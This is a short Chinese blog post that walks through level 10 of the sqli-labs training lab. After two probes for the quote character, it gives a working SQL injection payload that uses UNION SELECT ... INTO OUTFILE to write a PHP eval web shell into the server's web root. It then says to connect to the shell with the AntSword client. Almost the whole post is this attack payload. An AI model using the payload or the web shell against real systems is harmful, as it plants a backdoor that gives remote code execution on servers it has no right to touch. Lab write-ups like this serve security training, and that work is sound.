Sqli-labs 10

黎 浩然/ 9 12 月, 2021/ 安全/SECURITY/ 0 comments

• 方法同Less 8

?id=1'

?id=1"

• 猜测的id在一对双引号内，payload如下

?id=1" union select 1,2,'<?php @eval($_POST["fuck"])?>' into outfile 'C:\\xampp\\htdocs\\sqli-labs\\Less-10\\fuck.php' --+

上蚁剑